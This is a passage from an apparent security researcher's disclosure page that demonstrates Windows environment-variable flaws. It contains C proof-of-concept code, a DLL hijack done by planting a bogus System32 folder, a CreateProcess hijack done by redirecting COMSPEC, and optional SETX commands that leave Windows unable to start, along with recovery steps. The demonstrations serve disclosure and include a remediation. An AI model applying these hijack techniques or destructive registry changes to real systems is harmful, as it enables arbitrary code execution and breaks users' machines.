Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk1.c quirk1.c(176) : warning C4389: '!=' : signed/unsigned mismatch Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk1.exe quirk1.obj advapi32.lib kernel32.lib user32.lib userenv.lib
Execute the console application quirk1.exe
built in
step 9. to show the second bug:
.\quirk1.exe
COMPUTERNAME=AMNESIAC FP_NO_HOST_CHECK=NO LOGONSERVER=\\AMNESIAC NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a SESSIONNAME=Console USERDOMAIN_ROAMINGPROFILE=AMNESIACOUCH: volatile user environment variables stored with empty value in the Registry are not written to the environment block, and they inhibit the addition of programmatic system environment variables with their name to the environment block!
Oops: the previously present environment variables
USERDOMAIN
and USERNAME
are missing too!
(Optional) If you are curious, execute the following command line to tell the Shell that environment variables have changed and watch what happens when you start some applications:
SETX.EXE QUIRKS ""
SUCCESS: Specified value was saved.Note: when you've seen enough havoc and malfunctions, just log off and log on again, then continue with step 13. – volatile registry keys and their entries don’t survive logoff and shutdown!
Restore the (volatile) registry entries from the file
quirk1.reg
created in step 5.:
REG.EXE DELETE "HKEY_CURRENT_USER\Volatile Environment" /VA /F REG.EXE IMPORT quirk1.reg
The operation completed successfully. The operation completed successfully.
Build the console application quirk1.exe
from the
source file quirk1.c
created in step 1. a
fourth time, now with the preprocessor macro QUIRKS
defined as 2:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DQUIRKS=2 quirk1.c advapi32.lib kernel32.lib user32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk1.c quirk1.c(176) : warning C4389: '!=' : signed/unsigned mismatch Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk1.exe quirk1.obj advapi32.lib kernel32.lib user32.lib userenv.lib
Export the registry entries from the registry key
HKEY_CURRENT_USER\Environment
to the file
quirk1.reg
:
REG.EXE EXPORT "HKEY_CURRENT_USER\Environment" quirk1.reg /F
The operation completed successfully.
Execute the console application quirk1.exe
built in
step 13. to show the second bug again:
.\quirk1.exe
COMPUTERNAME=AMNESIAC FP_NO_HOST_CHECK=NO LOGONSERVER=\\AMNESIAC NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a SESSIONNAME=Console USERDOMAIN_ROAMINGPROFILE=AMNESIACOUCH: persistent user environment variables stored with empty value in the Registry are not written to the environment block, and they inhibit the addition of programmatic system environment variables with their name to the environment block!
Oops: the previously present environment variables
USERDOMAIN
and USERNAME
are missing too!
(Optional) If you are curious, execute the following command line to tell the (graphical) Shell that environment variables have changed and watch what happens when you start some applications, then log off and log on again:
SETX.EXE windir ""
SUCCESS: Specified value was saved.Note: since the Shell won’t start any more, your administrator needs to load your registry hive, then restore the values of the registry entries
PATH
,
TEMP
and TMP
to their default values,
remove the 21 remaining empty registry entries and finally unload
the registry hive before you can continue with step 18.:
REG.EXE LOAD HKU\Quirks "%SystemDrive%\Users\‹account›\NTUSER.DAT" REG.EXE ADD HKU\Quirks\Environment /V PATH /T REG_EXPAND_SZ /D %USERPROFILE^%\AppData\Local\Microsoft\WindowsApps /F REG.EXE ADD HKU\Quirks\Environment /V TEMP /T REG_EXPAND_SZ /D %USERPROFILE^%\AppData\Local\Temp /F REG.EXE ADD HKU\Quirks\Environment /V TMP /T REG_EXPAND_SZ /D %USERPROFILE^%\AppData\Local\Temp /F REG.EXE DELETE HKU\Quirks\Environment /V ALLUSERSPROFILE /F REG.EXE DELETE HKU\Quirks\Environment /V APPDATA /F REG.EXE DELETE HKU\Quirks\Environment /V CommonAppData /F REG.EXE DELETE HKU\Quirks\Environment /V CommonProgramFiles /F REG.EXE DELETE HKU\Quirks\Environment /V CommonProgramFiles(x86) /F REG.EXE DELETE HKU\Quirks\Environment /V CommonProgramW6432 /F REG.EXE DELETE HKU\Quirks\Environment /V COMSPEC /F REG.EXE DELETE HKU\Quirks\Environment /V DriverData /F REG.EXE DELETE HKU\Quirks\Environment /V HOMEDRIVE /F REG.EXE DELETE HKU\Quirks\Environment /V HOMEPATH /F REG.EXE DELETE HKU\Quirks\Environment /V LOCALAPPDATA /F REG.EXE DELETE HKU\Quirks\Environment /V ProgramData /F REG.EXE DELETE HKU\Quirks\Environment /V ProgramFiles /F REG.EXE DELETE HKU\Quirks\Environment /V ProgramFiles(x86) /F REG.EXE DELETE HKU\Quirks\Environment /V ProgramW6432 /F REG.EXE DELETE HKU\Quirks\Environment /V PSModulePath /F REG.EXE DELETE HKU\Quirks\Environment /V PUBLIC /F REG.EXE DELETE HKU\Quirks\Environment /V SystemDrive /F REG.EXE DELETE HKU\Quirks\Environment /V SystemRoot /F REG.EXE DELETE HKU\Quirks\Environment /V USERPROFILE /F REG.EXE DELETE HKU\Quirks\Environment /V windir /F REG.EXE UNLOAD HKU\Quirks
The operation completed successfully. […] The operation completed successfully.Note: if your registry hive is still loaded under
HKEY_USERS\S-1-5-21-‹number›-‹number›-‹number›-‹number›
,
you or your administrator can repair the registry entries there.
Restore the (persistent) registry entries from the file
quirk1.reg
created in step 14.:
REG.EXE DELETE "HKEY_CURRENT_USER\Environment" /VA /F REG.EXE IMPORT quirk1.reg
The operation completed successfully. The operation completed successfully.
(Optional) If you are curious, execute the following command line to
set a registry entry with empty value for the user environment
variable SystemRoot
and tell the
Shell that environment variables
have changed, then watch what happens when you start some
applications – log off and log on again after you have seen
enough havoc:
SETX.EXE SystemRoot ""
SUCCESS: Specified value was saved.Note: since the Shell won’t start any more, your administrator needs to load your registry hive, then remove the offending empty registry entry
SystemRoot
and finally
unload the registry hive before you can continue with step 18.:
REG.EXE LOAD HKU\Quirks "%SystemDrive%\Users\‹account›\NTUSER.DAT" REG.EXE DELETE HKU\Quirks\Environment /V SystemRoot /F REG.EXE UNLOAD HKU\Quirks
The operation completed successfully. The operation completed successfully. The operation completed successfully.Note: if your registry hive is still loaded under
HKEY_USERS\S-1-5-21-‹number›-‹number›-‹number›-‹number›
,
you or your administrator can repair the registry entries there.
Build the console application quirk1.exe
from the
source file quirk1.c
created in step 1. a
fifth time, now with the preprocessor macro QUIRKS
defined as 3:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DQUIRKS=2 quirk1.c advapi32.lib kernel32.lib user32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk1.c quirk1.c(176) : warning C4389: '!=' : signed/unsigned mismatch Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk1.exe quirk1.obj advapi32.lib kernel32.lib user32.lib userenv.lib
Export the registry entries from the registry key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
to the file quirk1.reg
:
REG.EXE EXPORT "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" quirk1.reg /Y
The operation completed successfully.
Execute the console application quirk1.exe
built in
step 18. as administrator to show the second
bug a last time:
.\quirk1.exe
COMPUTERNAME=AMNESIAC FP_NO_HOST_CHECK=NO LOGONSERVER=\\AMNESIAC NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a SESSIONNAME=Console USERDOMAIN_ROAMINGPROFILE=AMNESIACOUCH:
persistent
system environment
variables stored with empty value in the
Registry
are not written to the environment block, and they
inhibit the addition of programmatic system environment variables
with their name to the environment block!
Oops: the previously present environment variables
USERDOMAIN
and USERNAME
are missing too!
(Optional) If you are curious, execute the following command line to tell the Shell that environment variables have changed and see what happens when you start some applications, then reboot:
SETX.EXE windir "" /M
SUCCESS: Specified value was saved.
Note: since Windows won’t start
any more, you need to boot
Windows RE, load
the registry hive C:\Windows\System32\Config\SYSTEM
,
restore the values of the overwritten registry entries, remove the
remaining empty registry entries and finally unload the registry
hive before you can boot Windows again:
REG.EXE LOAD "HKU\SYSTEM" "‹drive›:\Windows\System32\Config\SYSTEM"
REG.EXE ADD "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V ComSpec /T REG_EXPAND_SZ /D %SystemRoot^%\System32\cmd.exe /F
REG.EXE ADD "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V DriverData /T REG_EXPAND_SZ /D %SystemRoot^%\System32\Drivers\DriverData /F
REG.EXE ADD "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V Path /T REG_EXPAND_SZ /D %SystemRoot^%\System32;%SystemRoot^%;%SystemRoot^%\System32\Wbem;%SystemRoot^%\System32\WindowsPowerShell\v1.0
REG.EXE ADD "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V PSModulePath /T REG_EXPAND_SZ /D %SystemRoot^%\System32\WindowsPowerShell\v1.0\Modules\ /F
REG.EXE ADD "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V TEMP /T REG_EXPAND_SZ /D %SystemRoot^%\Temp /F
REG.EXE ADD "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V TMP /T REG_EXPAND_SZ /D %SystemRoot^%\Temp /F
REG.EXE ADD "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V windir /T REG_EXPAND_SZ /D %SystemRoot^% /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V ALLUSERSPROFILE /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V APPDATA /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V CommonAppData /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V CommonProgramFiles /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V CommonProgramFiles(x86) /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V CommonProgramW6432 /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V HOMEDRIVE /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V HOMEPATH /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V LOCALAPPDATA /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V ProgramData /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V ProgramFiles /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V ProgramFiles(x86) /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V ProgramW6432 /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V PUBLIC /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V SystemDrive /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V SystemRoot /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V USERPROFILE /F
REG.EXE UNLOAD "HKU\SYSTEM"
The operation completed successfully. […] The operation completed successfully.
Restore the (persistent) registry entries from the file
quirk1.reg
created in step 19.:
REG.EXE DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /VA /F REG.EXE IMPORT quirk1.reg
The operation completed successfully. The operation completed successfully.
(Optional) If you are curious, execute the following command line to
set a registry entry with empty value for the system environment
variable SystemRoot
and tell the
Shell that environment variables
have changed, then watch what happens when you start some
applications – log off and log on again or reboot after you
have seen enough havoc:
SETX.EXE SystemRoot "" /M
SUCCESS: Specified value was saved.
Note: since Windows won’t start
any more, you need to boot
Windows RE, load
the registry hive C:\Windows\System32\Config\SYSTEM
,
remove the offending empty registry entry SystemRoot
and finally unload the registry hive before you can boot
Windows again:
REG.EXE LOAD "HKU\SYSTEM" "‹drive›:\Windows\System32\Config\SYSTEM" REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V SystemRoot /F REG.EXE UNLOAD "HKU\SYSTEM"
The operation completed successfully. The operation completed successfully. The operation completed successfully.
Create the text file quirk1.cmd
with the following
content in an arbitrary, preferable empty directory:
REM Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
@IF NOT EXIST "%COMSPEC:\System32\=\SysWoW64\%" EXIT /B
@SET PROCESSOR_ARCHITECTURE=
@SET CommonProgramFiles=
@SET CommonProgramFiles(x86)=
@SET CommonProgramW6432=
@SET ProgramFiles=
@SET ProgramFiles(x86)=
@SET ProgramW6432=
@IF EXIST "%COMSPEC:\System32\=\SysNative\%" (
"%COMSPEC:\System32\=\SysNative\%" /D /C SET PROCESSOR ^& SET Common ^& SET Program
) ELSE (
"%COMSPEC:\System32\=\SysWoW64\%" /D /C SET PROCESSOR ^& SET Common ^& SET Program ^& CALL "%~f0" ^& PAUSE
)
@EXIT /B
On a 64-bit system, start the batch script quirk1.cmd
created in step 1. per double-click:
REM Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de> PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a Environment variable Common not defined ProgramData=C:\ProgramData REM Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de> PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a Environment variable Common not defined ProgramData=C:\ProgramData Press any key to continue . . .OOPS: if one of the environment variables
CommonProgramFiles
,
CommonProgramFiles(x86)
, ProgramFiles
,
ProgramFiles(x86)
or
PROCESSOR_ARCHITECTURE
is not present in the
environment block of the parent process, the derived environment
variables CommonProgramFiles
and
CommonProgramW6432
respectively
ProgramFiles
and ProgramW6432
are not set
in 64-bit processes started from a 32-bit process, while in 32-bit
processes started from a 64-bit process the derived environment
variables CommonProgramFiles
,
CommonProgramW6432
, ProgramFiles
,
ProgramW6432
respectively
PROCESSOR_ARCHITEW6432
as well as the inherited
environment variable PROCESSOR_ARCHITECTURE
are
missing!
Note: a proper implementation calls functions like
GetSystemDirectory()
,
GetSystemWindowsDirectory()
,
GetSystemWow64Directory()
,
GetWindowsDirectory()
,
SHGetFolderPath()
and
SHGetKnownFolderPath()
to determine (system) paths instead to evaluate (user-controlled)
environment variables!
Explorer.exe
,
NotePad.exe
,
RegEdit.exe
and
Write.exe
as well as
IExplore.exe
and
WordPad.exe
afterwards:
REM Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de> CHDIR /D "%SystemRoot%" FOR /F "Delims==" %? IN ('SET') DO @SET %?= DIR Explorer.exe NotePad.exe RegEdit.exe Write.exe Win.ini /B Explorer.exe /E,/Separate,. NotePad.exe /P Win.ini RegEdit.exe /M Write.exe START IExplore.exe START WordPad.exe EXITNote: the command lines can be copied and pasted as block into a Command Processor window.
explorer.exe notepad.exe regedit.exe write.exe win.iniOops: while
NotePad.exe
and
RegEdit.exe
start properly,
Explorer.exe
,
Write.exe
plus
START IExplore.exe
fail silently, and
START WordPad.exe
fails with an error message box!
Create the text file quirk2.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule;
WCHAR szProcess[MAX_PATH];
DWORD dwProcess;
WCHAR szMessage[1024];
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
dwModule = GetModuleFileName(hModule,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\0';
dwProcess = GetModuleFileName((HMODULE) NULL,
szProcess,
sizeof(szProcess) / sizeof(*szProcess));
if (dwProcess < sizeof(szProcess) / sizeof(*szProcess))
szProcess[dwProcess] = L'\0';
if (wsprintf(szMessage,
L"\'%ls\' loaded at address 0x%p in process \'%ls\'\n",
szModule, hModule, szProcess) == 0)
return FALSE;
return IDOK == MessageBoxEx(HWND_DESKTOP,
szMessage,
__LPREFIX(__FUNCTION__) L"() entry point",
MB_OKCANCEL,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT));
}
MAKELANGID
MAKELANGID
Build the
DLL
quirk2.dll
from the source file quirk2.c
created in step 1.:
SET CL=/GAFy /LD /Oisy /W4 /Zl SET LINK=/NODEFAULTLIB CL.EXE quirk2.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk2.dll
is a pure
Win32
DLL
and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk2.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /NODEFAULTLIB /out:quirk2.dll /dll /implib:quirk2.lib quirk2.obj kernel32.lib user32.lib
Create a subdirectory System32\
in the current
directory, create hardlinks
NDFAPI.dll
and
PropSys.dll
of the
DLL
quirk2.dll
built in step 2. in this subdirectory,
set the environment variable SystemRoot
to the current
directory, then run the two START
commands used before
again:
MKDIR System32 MKLINK /H System32\NDFAPI.dll quirk2.dll MKLINK /H System32\PropSys.dll quirk2.dll SET SystemRoot=%CD% START IExplore.exe START WordPad.exeNote: the command lines can be copied and pasted as block into a Command Processor window.
Hardlink created for System32\NPFAPI.dll <<===>> quirk2.dll Hardlink created for System32\PropSys.dll <<===>> quirk2.dllOUCH: the internal
Start
command of the Command Processor
loads and executes (at least) arbitrary bogus
DLLs
named
NDFAPI.dll
and PropSys.dll
from
an arbitrary bogus system directory!
.bat
and .cmd
are
associated with the
file types
alias
Programmatic Identifiers
batfile
and cmdfile
whose
Open
verbis registered with the command line template
"%1" %*
:
ASSOC .bat ASSOC .cmd FTYPE batfile FTYPE cmdfile
.bat=batfile .cmd=cmdfile batfile="%1" %* cmdfile="%1" %*
ShellExecute()
and
ShellExecuteEx()
retrieve these command line templates, replace the various tokens
%‹digit›
,
%‹letter›
and %*
with file
or path names and arguments, then feed the completed command line to
one of the
CreateProcess()
,
CreateProcessAsUser()
,
CreateProcessWithLogonW()
or
CreateProcessWithTokenW()
functions.
Launching Applications (ShellExecute, ShellExecuteEx, SHELLEXECUTEINFO)
The documentation for the
CreateProcess()
function states:
To run a batch file, you must start the command interpreter; set lpApplicationName to cmd.exe and set lpCommandLine to the following arguments: /c plus the name of the batch file.Due to the security vulnerability CVE-2014-0315 alias MS14-019 I discovered and reported at the MSRC about 11 years ago, which was fixed with security update 2922229 some months later, the following note was added several years later:
Important
The MSRC engineering team advises against this. See MS14-019 – Fixing a binary hijacking via .cmd or .bat file for more details.
Create the text file quirk3.vbs
with the following
content in an arbitrary, preferable empty directory:
Rem Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
With WScript.CreateObject("Scripting.FileSystemObject")
Const fsoWindowsFolder = 0
Const fsoSystemFolder = 1
Const fsoTemporaryFolder = 2
strFolder = .GetSpecialFolder(fsoWindowsFolder).Path
strProgram = .BuildPath(strFolder, "NotePad.exe")
End With
With WScript.CreateObject("WScript.Shell").Environment("VOLATILE")
If .Item("COMSPEC") = vbNullString Then
.Item("COMSPEC") = strProgram
Else
.Remove("COMSPEC")
End If
End With
Execute the
VBScript
quirk3.vbs
created in step 1. per double-click to
set the volatile environment variable COMSPEC
to the
path name of the Editor.
Create the text files quirk3.bat
and
quirk3.cmd
with the following content in an arbitrary,
preferable empty directory:
PAUSE
Execute the batch scripts quirk3.bat
and
quirk3.cmd
created in step 3. per double-click.
OUCH: instead of the
Command Processor
the Editor starts and displays an
error message box – most obviously
Microsoft’s developers and their
quality miserability assurance ignore their
own companies’ documentation and (security) guidelines!
Execute the
VBScript
quirk3.vbs
created in step 1. per double-click to
remove the volatile environment variable COMSPEC
again.
COMSPEC
pointing to an arbitrary Alternate Data Stream or an
arbitrary UNC path
\\‹computer›\‹share›\[‹directory›\[…\]]‹file›
is left as an exercise to the reader!
batfile
and cmdfile
associated with the extensions
.bat
and .cmd
from its default value
"%1" %*
to
C:\Windows\System32\Cmd.exe /D /C "%L" %*
:
FTYPE batfile=%COMSPEC% /D /C "%L" %* FTYPE cmdfile=%COMSPEC% /D /C "%L" %*Note: the internal
Ftype
command must be run with administrative privileges.
If you still have not abandonded the bad habit of
using the Protected Administrator account created
during Windows Setup you also need to change the
command line templates registered for the RunAs
verb:
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\Shell\Open\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C \"%L\" %*"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\Shell\RunAs\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C \"%L\" %*"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\Shell\Open\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C \"%L\" %*"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\Shell\RunAs\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C \"%L\" %*"
CAVEAT: thanksto the Merged View of HKEY_CLASSES_ROOT introduced with Windows 2000 this remediation but fails if the unnamed default registry entry with the default command line template is present in the the corresponding registry key
HKEY_CURRENT_USER\Software\Classes\‹file type›\Shell\‹verb›\Command
of a user account!
Create the text file quirk3.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const STARTUPINFO si = {sizeof(si)};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
PROCESS_INFORMATION pi;
WCHAR szCmdLine[] = L".\\Quirk3.bat";
WCHAR szProcess[MAX_PATH];
DWORD dwProcess = sizeof(szProcess) / sizeof(*szProcess);
DWORD dwThread;
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!CreateProcess((LPCWSTR) NULL,
szCmdLine,
(LPSECURITY_ATTRIBUTES) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
FALSE,
CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
(LPWSTR) NULL,
(LPCWSTR) NULL,
&si,
&pi))
PrintConsole(hConsole,
L"CreateProcess() returned error %lu\n",
dwError = GetLastError());
else
{
if (!QueryFullProcessImageName(pi.hProcess, 0, szProcess, &dwProcess))
PrintConsole(hConsole,
L"QueryFullProcessImageName() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"Child process loaded from image file \'%ls\'\n",
szProcess);
PrintConsole(hConsole,
L"Child process %lu with primary thread %lu created\n",
pi.dwProcessId, pi.dwThreadId);
if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
PrintConsole(hConsole,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!GetExitCodeThread(pi.hThread, &dwThread))
PrintConsole(hConsole,
L"GetExitCodeThread() returned error %lu\n",
dwError = GetLastError());
else
if (dwThread > 65535)
PrintConsole(hConsole,
L"Primary thread %lu of child process %lu exited with code 0x%08lX\n",
pi.dwThreadId, pi.dwProcessId, dwThread);
else
PrintConsole(hConsole,
L"Primary thread %lu of child process %lu exited with code %lu\n",
pi.dwThreadId, pi.dwProcessId, dwThread);
if (!CloseHandle(pi.hThread))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
PrintConsole(hConsole,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!GetExitCodeProcess(pi.hProcess, &dwProcess))
PrintConsole(hConsole,
L"GetExitCodeProcess() returned error %lu\n",
dwError = GetLastError());
else
if (dwProcess > 65535)
PrintConsole(hConsole,
L"Child process %lu exited with code 0x%08lX\n",
pi.dwProcessId, dwProcess);
else
PrintConsole(hConsole,
L"Child process %lu exited with code %lu\n",
pi.dwProcessId, dwProcess);
if (!CloseHandle(pi.hProcess))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk3.exe
from the
source file quirk3.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk3.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk3.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk3.c quirk3.c(58) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk3.exe quirk3.obj kernel32.lib user32.lib
Create the text file quirk3.bat
with the following
content next to the console application quirk3.exe
built in step 2.:
@ECHO %CMDCMDLINE%
Execute the console application quirk3.exe
built in
step 2. a first time to prove the documentation cited above
wrong:
.\quirk3.exe
Child process loaded from image file 'C:\Windows\SysWOW64\cmd.exe' Child process 6008 with primary thread 5092 created C:\Windows\system32\cmd.exe /c .\Quirk3.bat Primary thread 5092 of child process 6008 exited with code 0 Child process 6008 exited with code 0OUCH¹: despite its lpApplicationName argument set to
NULL
, the Win32 function
CreateProcess()
executes a batch script with only its lpCommandLine argument
set to the (absolute or relative) path name of that batch script!
Set the environment variable COMSPEC
to the path name
of an arbitrary application, then execute the console application
quirk3.exe
a second time to show undocumented
behaviour:
SET COMSPEC=%SystemRoot%\System32\Reg.exe .\quirk3.exe
Child process loaded from image file 'C:\Windows\SysWOW64\reg.exe' Child process 5832 with primary thread 5704 created ERROR: Invalid Argument/Option - '/c'. Type "REG /?" for usage. Primary thread 5704 of child process 5832 exited with code 1 Child process 5832 exited with code 1OUCH²: the Win32 function
CreateProcess()
evaluates the environment variable COMSPEC
and executes
an arbitrary (rogue) application!
Set the environment variable COMSPEC
to the (relative
or absolute) path name of an arbitrary
